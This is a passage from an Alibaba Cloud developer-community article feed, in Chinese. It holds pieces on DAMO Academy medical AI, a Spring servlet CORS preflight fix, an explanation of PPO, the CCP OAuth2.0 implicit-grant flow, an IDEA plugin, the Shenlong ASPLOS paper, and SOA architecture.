    “医疗 AI 的价值在抗疫中得到验证,会对医疗行业和公众产生深远的影响。在接下来几年,将会看到整个医疗行业的数字化和智能化程度大幅度提升。”华先胜说。

    达摩院医疗 AI,早已行动起来了。

    阿里达摩院透露,他们打造的医疗 AI 系统,已经落地了 170 家医院,在北京、上海、广州、杭州、武汉、郑州等一线城市之外,也部署到了二三线城市——往往都是医疗资源相对匮乏的地方。

    华先胜解释,二三线城市未来对医疗健康AI的需求应该会更为迫切,用 AI 提升诊断效率和水准在医疗资源缺乏的区域,是当前和未来医疗健康 AI 落地的一个较大的场景。

    13.png

    然而,要将医疗 AI 应用到更多的场景,进入寻常生活,还有很长的路要走。

    不论是获取更多的医疗数据,还是寻找更加切合的商业模式,以及政策法规的支持等,都是医疗 AI 行业需要解决的问题。

    但突发疫情也让其前景变得更明朗。

    正所谓“上医治未病,中医治欲病,下医治已病”。现在,医疗 AI 正在疾病治疗中发挥作用。

    但华先胜认为,接下来医疗 AI 将会从医生走向大众,从高成本走向普惠,从应用于医疗走向应用于健康。

    这是阿里健康体系、达摩院医疗 AI 等将要重点发力的方向。

    阿里范式,阿里打法,要再一次在医疗健康领域复刻——成为基础设施,成为医疗健康行业的数字经济基础设施。

    它们将长在抗疫号角之下,为不再需要抗疫而生。

    在耳熟能详的武侠江湖中,达摩院代表了武学武德的最高成就,扫地僧更是大隐于寺的大神象征,并且总能在危难关头挺身而出。

    从这个角度来说,倒与马云和阿里的达摩院创立初心,都有呼应。

    而且也给新时代的扫地僧、科研人员,工程师们,提供了更大舞台和机会。

    侠之大者,为国为民。

    image.png

    原文链接:https://yqh.aliyun.com/detail/8253

    ]]>
    跨域请求出现preflight request失败的问题的解决-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 问题出现

    这两天在项目联调过程中突然前端同学报告出现CORS跨域问题无法访问。刚听到很奇怪,因为已经在项目里面设置了CORS规则,理论上不会出现这个问题。

        protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response,
                                        FilterChain filterChain) throws ServletException, IOException {
            String orignalHeader = request.getHeader("Origin");
    
            if (orignalHeader != null ) {
                Matcher m = CORS_ALLOW_ORIGIN_REGEX.matcher(orignalHeader);
                if (m.matches()) {
                    response.addHeader("Access-Control-Allow-Origin", orignalHeader);
                    response.addHeader("Access-Control-Allow-Credentials", "true");
                    response.addHeader("Access-Control-Allow-Methods", "POST, GET, OPTIONS, DELETE, PUT");
                    response.addHeader("Access-Control-Allow-Headers", "x-dataplus-csrf, Content-Type");
                }
            }
        }

    拿到前端给的错误提示后发现了一个奇怪的问题,提示Response to preflight request doesn't pass access control check中的preflight request是什么?

    image.png

    Preflight request介绍

    了解得知跨域资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。同时规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 GET 以外的 HTTP 请求,或者搭配某些 MIME 类型的 POST 请求),浏览器必须首先使用 OPTIONS 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨域请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证相关数据)。

    一个Preflight request的流程可以如下图所示

    image.png

    什么样的请求会产生Preflight request呢?当请求满足下述任一条件时,即应首先发送Preflight request请求:

    • 使用了下面任一 HTTP 方法:

      • PUT
      • DELETE
      • CONNECT
      • OPTIONS
      • TRACE
      • PATCH
    • 人为设置了对 CORS 安全的首部字段集合之外的其他首部字段。该集合为:

      • Accept
      • Accept-Language
      • Content-Language
      • Content-Type (需要注意额外的限制)
      • DPR
      • Downlink
      • Save-Data
      • Viewport-Width
      • Width
    • Content-Type 的值不属于下列之一:

      • application/x-www-form-urlencoded
      • multipart/form-data
      • text/plain
    • 请求中的XMLHttpRequestUpload 对象注册了任意多个事件监听器。
    • 请求中使用了ReadableStream对象。

    在我们的例子中正是使用了POST方法传递了一个Content-Type为application/json的数据到后端。而这个OPTION请求返回失败后浏览器并没有继续下发POST请求。

    解决方案

    在弄清楚问题后,我们了解只要给Preflight request优先通过就可以引导后续请求继续下发。对此,我们改造CORS Filter来解决这个问题。

    • 首先对OPTION请求放入HTTP 200的响应内容。
    • 对于Preflight request询问中的的Access-Control-Request-Headers予以通过
    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response,
                                        FilterChain filterChain) throws ServletException, IOException {
            String orignalHeader = request.getHeader("Origin");
    
            if (orignalHeader != null ) {
                Matcher m = CORS_ALLOW_ORIGIN_REGEX.matcher(orignalHeader);
                if (m.matches()) {
                    response.addHeader("Access-Control-Allow-Origin", orignalHeader);
                    response.addHeader("Access-Control-Allow-Credentials", "true");
                    response.addHeader("Access-Control-Allow-Methods", "POST, GET, OPTIONS, DELETE, PUT");
                    response.addHeader("Access-Control-Allow-Headers", request.getHeader("Access-Control-Request-Headers"));
                }
            }
    
            if ("OPTIONS".equals(request.getMethod())) {
                response.setStatus(HttpServletResponse.SC_OK);
            } else {
                filterChain.doFilter(request, response);
            }
        }

    注意事项

    但是天不遂人愿,在上述改造后理论上应该是可以解决Preflight request问题,可以测试发现依然有问题。这时我们注意到错误信息中提到的另外一句Redirect is not allowed for a preflight request.

    为什么会有Redirect事情发生呢,原来所有请求在进入我们的CORS Filter之前,会首先通过SSO Filter做登录检测。而这个Preflight request并没有携带登录信息,导致OPTION请求被跳转到了登录页面。同理如果引用了Spring Security组件的的话也会出现首先被登录验证给过滤的问题。

    找到问题就比较好办了,调整CORS Filter优先级,让其先于登录验证进行就好了。对此我们调整registrationBean的order从默认的Integer.MAX_VALUE到1就好了。

        @Bean(name = "corsFilter")
        public FilterRegistrationBean corsFilter() {
            FilterRegistrationBean registrationBean = new FilterRegistrationBean();
            registrationBean.setFilter(corsFilterBean());
            registrationBean.setUrlPatterns(Lists.newArrayList("/*"));
            registrationBean.setOrder(1);
            return registrationBean;
        }
    ]]>
    深度学习经典算法PPO的通俗理解-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1 前置知识点

    基本概念
    https://www.yuque.com/docs/share/04b60c4c-90ec-49c7-8a47-0dae7d3c78c7?#
    (部分符合的定义在这里)

    要理解PPO,就必须先理解Actor-Critic.
    Actor负责输出policy,也就是在某个状态下执行各种action的概率分布
    Critic负责输出Vaue of state。
    Actor和Critic的默契:Actor相信Critic给的状态的value就是真的; Critic也相信Actor选送过来的(s,a)中的a就是最优的action。通过不断的迭代,强化这个信任关系的正确性。
    (这体现了我们的价值观 [因为信任,所以简单],哈哈哈~)
    image.png

    所以这样就不难理解Critic的Loss是怎么来的了,Critic的输出就是state的Value,那就让Critic模型的输出使得以下公式成立:
    $$V_s=r_{s,a}+gamma V_{s'}$$ 
    其中,$r_{s,a}, s,a,s'$是训练Critic需要的数据,$s'$是在状态$s$下执行动作$a$得到新状态, $r_{s,a}$是reward, $gamma$ 是discount factor。
    跟基础概念的区别是,这里的系统假定是执行动作$a$只能到$s'$, 没有体现执行$a$可以得到不同的状态; (但是其实这种概率可以体现在训练数据中,因为$(s,a,r_{s,a})
    $$和$$s'$ 不一定是一一对应,其概率可以通过sampling得到的数据分布体现)
    所以Critic的Loss就是$|r_{s,a}+gamma V_{s'}-Vs|$,也就是所谓的TD(Time Difference)-Error的L1,或者L2也可以.
    那么Actor的Loss怎么计算呢?
    这里就先来明白Advantage的概念,其实也就是TD-Error
     $$Adv=r_{s,a}+gamma V_{s'}-Vs$$ 
    之所以称之为Advantage,是因为假如Advantage>0, 就是说实际执行$a$之后,发现当前的状态Value实际上比当前Critic估计出来的要大,所以这是个好的Action,它能够让$V_s$ 变大,Actor应该增大这个action的概率;反之,Advantage<0,这个action就是不好的,应该减小执行它概率。
    所以Actor的Loss就是$$-log(pi(a|s))*Adv$$, 因为要最小化Loss,所以前面加个负号;Adv的符号代表了应该增大这个action的输出概率,还是减小这个action的输出概率;Adv的大小代表了增加或减小的幅度应该有多大。

    2 Proximal Policy Optimization(PPO)

    2.1 PPO主要是来解决什么问题?

    它是为了让我们在训练Agent的时候能够take the biggest possible improvement step on a policy using the data we currently have, without stepping so far that we accidentally cause performance collapse。就是更新policy的时候尽可能步子迈大点,但也要防止扯着蛋,即模型参数崩了。

    2.2 PPO怎么解决这个问题的?

    简单来说,相同的网络结构,维护两组模型参数Old和New,在每次迭代的时候去更新New的参数,但是要控制New的模型输出Policy和Old的Policy不要差距太大,本轮迭代结束后,把New的参数覆盖掉Old的参数。

    怎么去控制差距不要太大呢?作者给了两种方式: PPO-Penalty, PPO-Clip

    2.2.1 PPO-Clip

    先说PPO-Clip, 它通过下面的公式来更新策略:
    $$theta_{k+1}=arg max_{theta}E_{s,a sim pi_{theta_k}}[L(s,a,theta_k,theta)]$$ 
    就是最大化$L(s,a,theta_k,theta)$,
    $$L(s,a,theta_k,theta)=min left( frac{pi_{theta}(a|s)}{pi_{theta_k}(a|s)}A^{pi_{theta_k}}(s,a) , clip left( frac{pi_{theta}(a|s)}{pi_{theta_k}(a|s)}, 1-epsilon, 1+epsilon right)A^{pi_{theta_k}}(s,a) right)$$
    这个形式主要是为了让我们理解为啥叫PPO-Clip(我感觉直接用后面那个Clip项其实就够了,这个表达有点冗余),$theta_k$ 就是当前Old的参数,$theta$ 是New的参数。$pi_{theta}(a|s)$ 是New Actor输出的Policy上状态$s$时执行$a$的概率,$pi_{theta_k}(a|s)$ 表示的Old Actor输出的Policy上状态$s$时执行$a$的概率。$A^{pi_{theta_k}}(s,a)$是基于Old Critic得到的Advantage.
    对这个公式进行改写,更容易看出它的真实目的,
    $$L(s,a,theta_k,theta)=min left( frac{pi_{theta}(a|s)}{pi_{theta_k}(a|s)}A^{pi_{theta_k}}(s,a) , g left( epsilon, A^{pi_{theta_k}}(s,a) right) right)$$
    其中,

    $$g left( epsilon, A right)=left{ begin{aligned} &(1+epsilon)A & Age 0 \ &(1-epsilon)A & A< 0 end{aligned} right.$$  当Advantage>=0的时候, $$L(s,a,theta_k,theta)=min left( frac{pi_{theta}(a|s)}{pi_{theta_k}(a|s)}, (1+epsilon) right)A^{pi_{theta_k}}(s,a) $$ 这就清楚的说明,这时候应该增大$pi_{theta}(a|s)$,也就是认为这个action是好的,增加选择$a$的概率。但是通过$1+epsilon$ 限制增大的幅度。 同理,当Advantage<0的时候 $$L(s,a,theta_k,theta)=min left( frac{pi_{theta}(a|s)}{pi_{theta_k}(a|s)}, (1-epsilon) right)A^{pi_{theta_k}}(s,a) $$ 缩小$pi_{theta}(a|s)$,但是幅度不能小于$1-epsilon$ 另外,根据我的理解,$pi_{theta_k}(a|s)$应该截断梯度,也就是反向传到的时候用不着去更新Old Actor的参数。在OpenAI Spinningup的代码([https://github.com/openai/spinningup/blob/master/spinup/algos/pytorch/ppo/ppo.py](https://github.com/openai/spinningup/blob/master/spinup/algos/pytorch/ppo/ppo.py))确实是这样处理的,但是在Tianshou的代码里([https://github.com/thu-ml/tianshou/blob/master/tianshou/policy/ppo.py](https://github.com/thu-ml/tianshou/blob/master/tianshou/policy/ppo.py))没有做截断,结果也OK,想来对于$pi_{theta}(a|s)$来说,$pi_{theta_k}(a|s)$就是一个scalar factor, 这个factor是变量还是静态值,也许影响不那么大,而且本轮迭代结束后$theta_k$也会被覆盖掉,反向传导更新了也白搭。 到这里,其实说的都是如何更新Actor。 怎么更新Critic的参数呢? $$L_c(s,a,r_{s,a},s')=|r_{s,a}+V^{pi_{theta_k}}_{s'}-V^{pi_{theta}}|$$ 唯一的不同是target value是用Old Critic计算的,这也是DRL领域的常规操作了. 小结一下,PPO-Clip就是通过Clip操作来防止步子迈太大的。作者实验证明Clip的效果比Penalty好。 ### 2.2.2 PPO-Penalty $$L^{KLPEN}(theta)=frac{pi_{theta}(a|s)}{pi_{theta_k}(a|s)}A^{pi_{theta_k}}(s,a) -beta KLDleft( pi_{theta}(*|s), pi_{theta_k}(*|s) right)$$ 理解上上面的,这个理解起来也就容易了,就是增加一个新旧Policy差异的惩罚项,差异通过KL divergence来衡量 (PS: 如理解有误支持,欢迎批评指正~)

    ]]>
    CCP OAuth2.0 隐藏式授权实践-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

    内容协作平台(Content Collaboration Platform, 后面简称CCP)是为开发者提供的面向企业、个人数据管理、内容识别、协作的开放平台。CCP 提供多种OAuth2.0协议接口,方便其他第三方应用接入。

    本文主要讲解纯前端应用(例如SPA, Chrome插件等)接入CCP所使用的OAuth2.0隐藏式授权的场景和实践方案。

    什么是 OAuth2.0? 可以看阮老师的文章: OAuth 2.0 的一个简单解释

    OAuth2.0 隐藏式: 有些纯前端 Web 应用,没有后端,无法采用 OAuth2.0 授权码模式,因为将 client_secret 放在前端是很危险的行为。OAuth2.0 隐藏式(implicit) 即是授权服务直接向前端Web应用发令牌。

    1. CCP 使用介绍

    只需3步配置,即可拥有一个云盘系统。

    (1) 创建域

    用户可以在 阿里云CCP官网控制台,创建一个域(domain),假设domainID为 hz01, CCP会分配1个 API 子域名: https://hz01.api.alicloudccp.com

    image.png

    (2) 配置OAuth登录页面

    配置好域的用户体系配置:具体的配置方法请看这里

    image.png

    CCP会分配1个认证授权服务子域名: https://hz01.auth.alicloudccp.com

    (3) 直接开通官方提供的BasicUI云盘应用

    image.png

    允许访问后,再以超级管理员登入一次激活,即可开通成功。

    image.png

    BasicUI 提供1个子域名: https://hz01.apps.alicloudccp.com。您的用户可以通过此子域名访问云盘系统了。

    更多BasicUI的介绍请看:Basic UI简介

    2. CCP OAuth2.0 隐藏式授权流程

    image.png

    (1) 授权请求

    用户浏览CCP的云盘应用https://hz01.apps.alicloudccp.com,想要用一个第三方应用在线markdown编辑器打开 a.md 这个文件。

    • 这个编辑器是一个纯前端应用,假设域名为 https://a.com
    • 编辑器提供 redirect_uri 为: https://a.com/callback.html
    • 我们可以构造下授权请求url:
    https://hz01.auth.alicloudccp.com/v2/oauth/authorize?
    response_type=token&
    client_id=xxx&
    redirect_uri=CALLBACK_URL&
    scope=FILE.ALL
    • 其中 CALLBACK_URL 为 encodeURIComponent('https://a.com/callback.html')
    • client_id 为markdown编辑器的appId(可以在CCP官网控制台创建应用获得,请先看应用概述)。

    (2) 用户认证和授权

    浏览器请求这个url,会跳转到登录页面,用户登录确认后,会重定向到CALLBACK_URL且通过hash返回access_token等信息,如: https://a.com/callback.html#access_token=xxxxx&expire_in=3600&token_type=Bearer

    image.png

    (3) callback

    编辑器的callback.html页面,解析location的hash。

    • access_token等参数解析出来,保存到本地存储中。
    • callback.html 需要清空历史记录,因为access_token是在url中的,会保留在历史记录里。

    (4) 调用CCP API

    编辑器就可以通过 access_token 来操作 a.md 文件了。

    3. 使用 OAuth Widget

    CCP 官方提供了一些拥有特定功能的 Widget, 供第三方应用接入时使用。详情请看Widget 介绍

    OAuth Widget即是将上面的OAuth2.0 隐藏式授权逻辑封装起来,做成一个可重用的组件。

    下面介绍此widget的用法:

    (1) 引入js

    <button id="btn_1">登录</button>
    <script src="/media/20200407155347mFb.js"></script>

    (2) 点击按钮,即可弹出登录窗口

    window.onload = function () {
      document.getElementById('btn_1').onclick = async function () {
        var tokenInfo = await CCPWidgets.oAuthLogin({
            domain_id: '<Your Domain ID>',
            client_id: '<Your App ID>' 
        })
        //用户登录授权后,即可拿到tokenInfo
        console.log(tokenInfo)
      }
    }

    (3) 弹出登录框效果

    image.png

    参考:JS Widget 授权原理和调用的API

    ]]>
    IDEA 自动注释插件-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 推荐一个自己写的IDEA插件,能帮助java工程师快速生成代码注释(俗话说不会偷懒的程序员不是好程序员)~

    打开IntelliJ IDEA -> plugin,搜索 easy-javadoc,安装重启即可

    示例图片

    github:https://github.com/starcwang/easy_javadoc
    IDEA插件官网:https://plugins.jetbrains.com/plugin/12977-easy-javadoc

    ]]>
    让服务器突破性能极限 阿里云神龙论文入选计算机顶会ASPLOS-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 疫情肆虐,全球多个科技领域盛会宣布改为线上举办,计算机领域顶会 ASPLOS也不例外。

    日前,ASPLOS 2020公布了计算机界最新科技成果,其中包括阿里云提交的名为《High-density Multi-tenant Bare-metal Cloud》的论文,该论文阐述了阿里云自研的神龙服务器架构如何解决困扰云计算行业多年的虚拟化性能损耗问题,打破物理机的性能神话,让云服务器突破性能极限。

    此次入选意味着全球计算机顶会对阿里云自研技术的认可,也意味着中国创新技术在全球计算机界争得了一席之地。

    ASPLOS 是综合体系结构、编程语言和操作系统三个方向的计算机系统领域顶级会议,从1982年创办至今推动了多项计算机系统技术的发展,一般论文录用率在20%左右。

    阿里云本次入选的论文题为《High-density Multi-tenant Bare-metal Cloud》,由阿里云研究员张献涛带领的神龙技术团队撰写,详细解读了神龙架构的技术优势:超越传统物理机100%的算能、分钟级交付能力、安全物理隔离和云平台全系打通等。

    虚拟化是云计算的基础,它将物理服务器虚拟化成想要的计算单元,进而拥有最大的弹性,然而却会导致性能损耗。如何解决这样的矛盾?阿里在2017年推出了“神龙架构”,弥补虚拟化的性能损耗,同时拥有云的弹性和运维优势。

    2019年杭州云栖大会上,阿里云发布了第三代神龙架构,全面支持ECS虚拟机、裸金属、云原生容器等,在IOPS、PPS等方面提升5倍性能,可帮助用户降低50%的计算成本。去年双11核心系统100%上云,神龙大放异彩,成功扛住了54.4万笔/秒的订单创建峰值,与同配置物理机相比,不仅业务系统性能提升20%,而且抗高负载压力表现更好,整个业务性能非常平稳和线性。

    不仅如此,神龙还是目前最流行的容器技术的最佳拍档。基于神龙架构的阿里云容器服务对比物理机有10%-30%的性能优势。

    目前,神龙架构已大规模应用于淘宝、天猫、菜鸟等业务,用于解决高峰值的性能瓶颈问题。

    本次入选ACM ASPLOS论文题目为《High-density Multi-tenant Bare-metal Cloud》,由阿里云研究员兼创新产品线总负责人张献涛、阿里云高级技术专家郑晓、阿里云资深技术专家杨航及其他神龙团队共同撰写。论文原文可到以下链接下载https://dl.acm.org/doi/10.1145/3373376.3378507

    该文首次全面解析了时下流行的裸金属云计算服务、神龙架构内涵。将作为新一代虚拟化技术发展方向的神龙,与现有架构作对比,详细阐述了两者在软硬件、核心计算性能、虚拟化开销的异同。论文中对多种业务表现上面的性能数据充分揭示了神龙裸金属架构的特有优势。该论文的详细解读请移步文章《阿里云最新ASPLOS论文解读:High-density Multi-tenant Bare-metal Cloud》阅读。

     

    ]]>
    做了那么多架构,你真的懂 SOA 了吗?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 自从提倡 SOA 架构风格以来,个人觉得软件架构并未有特别突破的变革,主要是在 SOA 面向服务架构风格基础上不断演化迭代,基于服务的 EA 明确分层架构也好,微服务也罢,都是在面向服务架构基础上的适应不同的场景的迭代升级。

    我先抛出一个观点,我觉得服务化架构的本质,和西方教育界深受影响的古希腊哲学家苏格拉底的“产婆术”的教育思想本质上是非常相通的:苏格拉底的“产婆术”思想强调教育是一个“接生”的过程,教师就是“接生婆”,人们之所以接受教育是为了寻找“原我”以不断完善自身。也就是教育的目的在于唤醒而不再于塑造。同理服务化架构的本质也不仅仅在采用什么样的技术框架实现和塑造,更重要的是在于通过不停地在共创中反问、反思、反省等方式进行对业务的本质的不断追溯、抽象、综合归纳演绎,我们的每一个架构师都是服务化架构的接生婆,我们的使命是建立真正反映业务本质并驱动业务不断向前的架构。

    我们是否足够深入理解业务的本质,做了足够的归纳演绎以及综合抽象,是否清晰的反应到了我们的服务化的根基:业务模型、域模型以及平台公共语义模型上?这是我们每一个参与服务化的每一个产品、架构师、TL 和核心开发同学需要回答的第一个根本问题。

    定义

    面向服务的架构(SOA):SOA 是一种架构风格,致力于将业务功能保持一致的服务(系统服务,应用服务,技术服务)作为设计、构建和编排组合业务流程以及解决方案的基本单元。

    目的

    我们采用 SOA 的架构是为了什么呢?

    为了更好的复用?为了更好的责任切分?为了接口和实现的分离,提升灵活性和隔离性?还是为了更好的接口分类和管理?

    以上说法其实都没错,但是面向服务化的架构 SOA 的目的远远超过接口技术细节的设计与定义,其核心的关注点在于服务的业务内容以及内涵,而不仅仅是如何设计和实现。

    同时,SOA 更多的也不是如何构建一个服务,任何人都可以很容易地创建一个服务,这并不是 SOA 的核心挑战,而是如何赋能企业构建有业务价值意义的完整业务语义的服务集合。

    面向服务的架构致力于在企业内的不同的业务环境内,建设业务功能驱动的服务,从而将服务组装成有价值、更高级别的业务流程和解决方案平台。

    面向服务的架构的真正的价值体现在当可重用的服务被灵活组合、编排在一起来构建敏捷的、灵活的业务流程,其中敏捷体现在服务可以快速调整,独立演化;灵活性体现在服务由于其业务功能定义明确,边界清晰且功能内聚性强,同时服务具备各自独立完整生命周期,可被灵活组装。

    如果面向服务架构能为企业提供了重大的价值,那么这些价值通过什么来体现的呢?

    价值体现

    • 行为一致性

    面向服务的架构允许我们为业务流程、任务或者决策拥有唯一的共同的入口,也就是,不管服务访问的路径如何,服务给业务提供的业务行为都是一致的。

    • 数据一致性

    面向服务的架构允许我们为业务数据信息提供单一的访问入口,也就是它提供给业务一致的、企业内部共识的公用数据访问。

    • 模块化及敏捷性

    面向服务的架构 SOA 为业务功能、业务决策和业务信息的模块化提供了非常好的机制。同时,在模块化实现好的情况下,这些模块可以在多个业务流程和场景中被灵活复用和重新组合,从而为业务竞争力和创造性提供灵活性和敏捷度支持。

    • 功能与数据的解耦

    面向服务的架构 SOA 提供了业务功能和信息集成的同时,减少了他们之间的依赖和耦合性。也就是,独立的业务功能单元,应用系统,可以一起协同工作,同时各自又具备各自的演进计划,生命周期和业务目标。

    • 高度可管理性

    SOA 提供给我们通过定义服务水平协定在服务模块粒度支撑我们的业务目标,我们可以不断的设定、监控和优化调整组件,应用以及系统所承载服务的考核。

    其中行为一致性和数据一致性作为服务的核心价值根基。

    服务

    一、定义

    首先我们先定义一下服务是什么?

    服务是通过服务契约的方式来提供业务功能的独立单元,同时受服务契约所明确管理。

    服务是设计、构建和编排组合一个完整业务实体中业务解决方案的基础单元。服务契约指定了服务消费方和提供方之间所有的交互约定,包括:

    • 服务接口
    • 接口文档
    • 服务策略
    • 服务质量
    • 服务可用性
    • 性能

    那我们经常听到模块、组件等其他的软件构件,服务和他们有什么区别呢?其中最核心的区别在于服务本身是被明确管理的,其服务质量和性能是通过服务水平协定(SLA)被明确管理的,而模块以及组件并无此约束。此外,服务的全生命周期包含从设计、部署到增强升级和维护都是可管理的。

    举例(下列内容仅做示例展示用,非适用于严格场景):

    补货计算服 服务策略 服务质量 性能要求
    补货建议量计算服务 针对行业下商家/供应商维度的入仓货品补货建议计算 在销量预测符合分布要求且满足准确率水平要求的情况下,根据缺货率服务水平要求的产生的补货建议量符合业务期望的周转天数 10W + 货品 * 30 仓,品+仓补货及建议量 <= 30min
    订单创建服务 包含购物车下单+立即下单场景,满足所有优惠计算后的订单生成 订单创建成功率 99.999999999% 峰值支撑:100w 单/s

    二、服务构成

    服务自身主要包含两个主要方面,第一方面也是服务最核心的方面就是服务的接口,另外一方面则是服务的实现。服务非常好的实现了接口和实现的分离。

    image.png

    1)服务接口

    服务接口指定了服务的操作,也就是服务是做什么的(What),操作的输入输出参数,以及用来约定如何使用和提供这些能力的协议。

    服务通常包含围绕着一个核心的业务功能操作以及相关联的操作。例如补货建议计算服务中核心的操作是生成货品+仓维度的补货建议单,其他相关操作包含查询补货建议单相关销量预测操作,查询补货建议单对应计划库存操作。

    服务 核心功能操作 关联操作
    补货建议计算服务
    品+仓维度补货建议计算
    补货建议单对应销量预测查询
    补货建议单对应计划库存操作

    2)服务实现

    服务实现指的是服务如何通过其明确定义的接口提供其能力。服务实现可以通过以下方式实现:

    • 完全基于编码实现
    • 基于其他服务的编排而成
    • 基于已有应用适配封装而成
    • 以上情况混合实现

    核心点是服务如何被实现的对于服务消费方来说是透明的,服务消费方仅仅需要关心的是服务是做什么的,而不是如何被实现的。

    服务可以提供在保持服务接口或者行为约定不改变的情况下,提供根据不同的行业不同场景提供各种不同的实现。

    服务实现在保持服务接口或者行为约定不改变的情况下,可以自由进行升级和切换。服务实现既可以是静态的更新升级,也可以使动态路由实时切换实现,如对应到不同的行业以及不同的业务场景的自动实现切换。

    不管服务实现如何升级或者按需自动路由切换,只用服务的行为和契约不会发生改变,用户也就是服务的消费者根本不会感知到任何不同。

    我们可以把服务接口想象成室内普通电源国标插口,服务策略为室内非防水情况下适用,服务契约想象成 24X7 的 220v 电压供电能力(其中 180V~250V 50Hz 是质量要求,24x7 稳定性要求,电流供给 <= 10A 是性能要求),此国标插座(服务提供方)可以给包含与此接口匹配且符合契约的任何电器(消费方)交互并提供供电能力,支持其运转。

    服务接口定义了交互的的风格和细节,而服务的实现定义了一个特定的服务提供方或者特定的业务实现如何提供其能力。

    这种类似连接点/插口的设计极大的方便了更松耦合的业务功能解决方案。

    三、服务接口与服务实现的逻辑构成

    服务接口与实现的构成也有两个重要的不同方面,分别是执行功能的方法和执行的信息数据。换句话说,一个服务是由一个业务服务操作集合以及对应操作的输入输出的抽象业务服务数据模型组成。这层业务服务数据模型是企业业务层次或者平台业务层次的业务实体的抽象,独立于底层数据存储与实现。此业务数据模型是和各子域密切相关联,但是超越各子域以上的,在完整的业务线或者平台层次上达成一致的业务数据模型,也就是说在各子域之间达成共识且约定的严格明确的公共模型,主要用于平台业务流程中不同域服务的交互,是平台层次统一的业务语言,我把它暂时称为平台业务数据模型。 此平台业务数据模型通常需要包含平台统一语义的业务术语表,平台各域核心实体表,平台各域核心实体交互图等。

    image.png

    接口与实现的逻辑构成:

    1)服务操作

    服务操作声明定义了这个操作的输入以及输出参数。

    2)平台业务实体模型

    平台业务实体模型描述了服务中输入输出数据的结构以及含义。服务接口中的信息和服
    务实现中逻辑数据之间的差异是至关重要的。

    在服务接口层次上,最重要的是信息必须在业务服务之间进行交互来赋能业务流程并完成业务流程。这些信息必须在参与流程的所有业务服务间达成一致且在服务之间通用,也就是平台层次所有服务公用且标准的业务实体模型,同时此业务实体模型必须在平台业务语义上明确且完成,确保可以支撑平台所有端到端的业务。此平台层级的业务实体模型并不是一蹴而就的,但是可以随着平台的重心变化不断迭代完善成型的。

    然而不同的是,从内部来看,很多服务在各自实现的子域内部都有这些信息的不同的超集,可能潜在的存在不同的数据格式。幸运的是,我们不需要感知也不需要在所有关联服务的相关子域实体模型上达成共识,即使不是不可能,但是也不太现实。与之相反,服务接口和服务实现的分离设计允许非常方便的进行平台业务实体模型和服务所在子域领域模型进行映射转换。

    3)服务接口最后一个重要的方面就是服务水平协议 SLA。服务水平 SLA 协议指定了服务的的两个重要方面的指标,分别是业务上的指标和技术上的指标:

    • 技术指标:响应时间RT,并发吞吐量 Throughput,可用性 Availability,可靠性 Reliablity。
    • 业务指标:完成的业务功能的质量或者完成度,如产生的补货建议是否满足业务预期的周转缺货KPI要求:周转下降 10 天,缺货率下降5%。

    服务化分层架构

    理解服务化分层架构,首先要对 TOGAF Meta-Model 有个清晰的理解,从元模型可以看出业务服务和业务流程的上承业务,下启系统平台的核心作用,一定要深刻理解业务服务和业务流程在企业架构中的重要性,下面我把我翻译后画的版本给大家放在这里,给大家做个参考,TOGAF 不多做解释,如有需要,大家可以交流,后面有时间尝试写下我对 TOGAF 的学习和理解。

    image.png

    通常情况下,我们会按照不同行业的不同的业务流程去搭建系统,如供应链最初在大家电 3W 行业孕育,我们按照 3W 的行业和业务场景搭建了平台商家相适应的计划系统;后续自营行业又根据自己的行业也搭建了自营的计划系统;后续小电数码、国际以及其他业务快速发展,跟随业务快跑的同时,也各自建立的各自的业务流程。在这个过程中,BPM 为建造不同的业务系统提供非常好的抽象支撑,但是经常的结果是,BPM 被用作构建了更高层抽象的,也更高效的,但是却是烟囱式的应用,而不没有更好的贡献更多的支撑到整体上能快速应对业务变化而更灵活,更敏捷的业务平台或者系统。

    而这正是面向服务的架构中业务规则以及决策作为服务要发挥更大作用的地方。面向服务的架构允许我们将特定业务流程中的业务规则和业务决策抽象分离出来变成业务规则或者决策服务,这些规则和决策服务就可以被灵活应用到不同的业务流程中,从而这些服务可以被统一管理和演化升级。

    BPM + SOA 一起提供了支撑企业架构的完美组合。BPM 提供更高层抽象定义业务流程的能力,以及与流程相关联的重要监控和管理能力;业务服务提供了支撑业务流程的核心的功能、决策以及信息。面向服务的架构则提供能力将服务组合在一起来支撑和创建灵活且敏捷的端到端的企业业务。如果只有 BPM 而没有 SOA 对于创建单独的业务应用或许非常有用,但是通常是创建的烟囱式的应用,很难扩展到企业内或者平台内不同的业务线。如果只有 SOA 而没有BPM虽然可以创建可重用且一致性高的服务,但是缺少将这些服务快速搭建业务流程并支撑端到端业务的能力,也无法支撑建立具有竞争力且可以随着外部竞争环境进行敏捷反应的业务。

    下图显示了一个建议的的封层服务化架构图,各分层如下:

    • 端到端业务流程

    业务流程是按照一定业务规则决定的顺序执行的业务操作组成。高层级的业务功能,通常跨越应用域或者业务线。通常由行业开发团队开发,此行业开发团队可以具备明确的实现组织结构,也可以由跨团队的相关域共同组成虚线团队。例如,电商业务中,用户选购下单交互流程;供应链业务中的补货调拨计划流程等。

    • 平台业务服务

    高度模块化的业务功能单元,由不同类型的子域服务组合编排而来,可作为业务流程的编排单元。跨行业通用的业务服务可由功能所在核心域开发团队编排开发,行业内通用的业务服务可以由行业开发团队负责编排开发。例如,补货审批服务

    • 子域服务

    平台各功能子域提供的服务,对平台可见,用于平台业务服务的组合编排,也可以作为更高层的业务流程编排的基础单元。子域服务通常由平台各子域开发团队负责开发。例如,销量计划服务,补货建议计算服务。

    • 子域基础服务

    用于支撑各功能子域服务的基础服务,对子域可见,对平台不可见,用于子域服务的编排。

    子域基础服务通常由平台各子域开发团队负责开发。例如,入仓决策服务,计划单据服务,计划库存服务等。

    • 基础子域服务

